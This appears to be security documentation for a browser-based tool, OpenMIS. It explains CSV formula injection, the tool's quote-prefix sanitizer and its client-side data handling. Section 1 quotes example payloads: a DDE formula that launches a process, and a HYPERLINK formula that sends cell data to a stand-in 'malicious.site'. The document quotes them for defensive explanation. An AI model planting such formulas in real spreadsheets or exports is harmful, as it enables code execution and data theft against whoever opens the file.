1. The Inherent Risk of Unsanitized CSV Exports
Many analysts believe CSV files are harmless plain text. In reality, when a user double-clicks a CSV file to open it in Microsoft Excel, Excel interprets any cell beginning with '=', '+', '-', or '@' as an active formula.
Attackers can leverage this behavior to execute Dynamic Data Exchange (DDE) commands, potentially launching command-line processes or pinging remote webhooks with sensitive desktop data.
A cell containing '=cmd|'/C calc'!A0' or '=HYPERLINK("http://malicious.site/leak?"&A1, "Click to verify")' will execute or prompt the user the moment the exported file is opened.
2. The OpenMIS Neutralization Standard
OpenMIS implements automated formula sanitization on every CSV and XLSX download. Before writing a cell, the sanitizer inspects the raw value.
If a cell starts with an injection character, OpenMIS prepends a single quotation mark ('). This forces Excel to treat the cell strictly as literal text without altering legitimate negative numbers like -42 or positive integers like +100.
Raw Cell: '=cmd|'/C calc'!A0'
Exported: ''=cmd|'/C calc'!A0'
Excel View: =cmd|'/C calc'!A0 (Rendered as plain text, no execution)
Raw Number: -4500.50
Exported: -4500.50 (Recognized as valid numeric value)3. Client-Side Data Isolation
Unlike cloud-based BI systems that upload your spreadsheet rows to remote servers, OpenMIS runs entirely inside your browser sandbox. Your rows never transit the public internet, eliminating man-in-the-middle data interception risks.